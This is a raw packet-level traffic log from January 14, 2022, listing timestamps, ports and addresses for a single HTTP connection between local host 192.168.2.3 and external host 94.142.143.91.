Jan 14, 2022 05:00:00.228559971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228579998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228594065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228600979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228634119 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228646994 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285223961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285250902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285271883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285294056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285334110 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285355091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285357952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285370111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285382986 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285409927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285433054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285434008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285459042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285471916 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285482883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285507917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285520077 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285531044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285556078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285572052 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285577059 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285602093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285609961 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285624981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285650969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285659075 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285676003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285700083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285703897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285722017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285746098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285753965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285769939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285793066 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285794020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285818100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285839081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285854101 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285878897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285892010 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285902023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285923958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285945892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285958052 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.285969019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285995007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.285999060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.286017895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286041021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286042929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.286063910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286081076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.286087990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286109924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286132097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286144018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.286154032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286176920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.286189079 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.286221981 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.342818975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342847109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342870951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342891932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342914104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.342916012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342938900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342961073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342983007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.342983961 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343004942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343024969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343036890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343048096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343069077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343089104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343096018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343111038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343117952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343133926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343154907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343166113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343182087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343204975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343219995 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343225956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343250036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343250036 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343272924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343295097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343311071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343318939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343341112 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343342066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343364954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343389988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343405008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343410969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343432903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343434095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343455076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343476057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343494892 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343497038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343519926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343527079 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343542099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343564987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343581915 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343585968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343606949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343621969 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343626022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343647003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343660116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343669891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343692064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343724012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343744993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343766928 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343786955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343812943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343816996 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343835115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343837976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343847036 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343854904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343858004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343878984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343889952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.343903065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.343925953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.392688990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.400604963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400633097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400654078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400674105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400696039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400716066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400732040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.400738001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400759935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400772095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.400777102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400794983 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400810957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400826931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400849104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400854111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.400871992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400873899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.400896072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400918961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400933027 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.400940895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400963068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400985003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.400985956 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401009083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401031017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401040077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401057959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401079893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401099920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401115894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401120901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401128054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401141882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401163101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401177883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401184082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401205063 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401206017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401228905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401248932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401249886 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401268959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401289940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401294947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401310921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401330948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401350975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401355028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401372910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401405096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401413918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401421070 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401437998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401459932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401470900 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401482105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401505947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401537895 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401551008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401573896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401591063 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.401596069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.401647091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.449532986 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.449572086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.449598074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.449654102 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.449704885 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459603071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459638119 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459661007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459682941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459706068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459728003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459745884 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459750891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459774971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459780931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459788084 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459798098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459816933 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459820986 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459844112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459865093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459880114 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459887028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459909916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459923029 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459933996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459956884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.459964991 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.459980965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460002899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460004091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460026979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460048914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460059881 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460069895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460093021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460100889 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460117102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460135937 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460139036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460163116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460181952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460186958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460211039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460228920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460232973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460274935 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460309029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460336924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460381985 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460407019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460431099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460450888 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460472107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460494995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460499048 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460517883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460520029 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460550070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460572004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460572958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460593939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460616112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460616112 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460638046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460656881 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.460660934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.460701942 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.506457090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.506496906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.506520033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.506540060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.506563902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.506587029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.506583929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.506628990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.506637096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517396927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517421007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517433882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517446041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517462969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517478943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517493963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517509937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517517090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517525911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517539978 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517544031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517554998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517563105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517575979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517587900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517600060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517616987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517633915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517646074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517658949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517666101 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517673969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517689943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517700911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517714977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517716885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517729998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517736912 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517746925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517759085 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517760038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517776012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517792940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517807007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517822981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517833948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517894030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517896891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517906904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517913103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517921925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517940044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517956018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517972946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.517973900 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.517990112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518006086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518018007 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518023968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518039942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518057108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518074036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518079996 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518089056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518105984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518115044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518124104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518126965 CET	49905	80	192.168.2.3	94.142.143.91
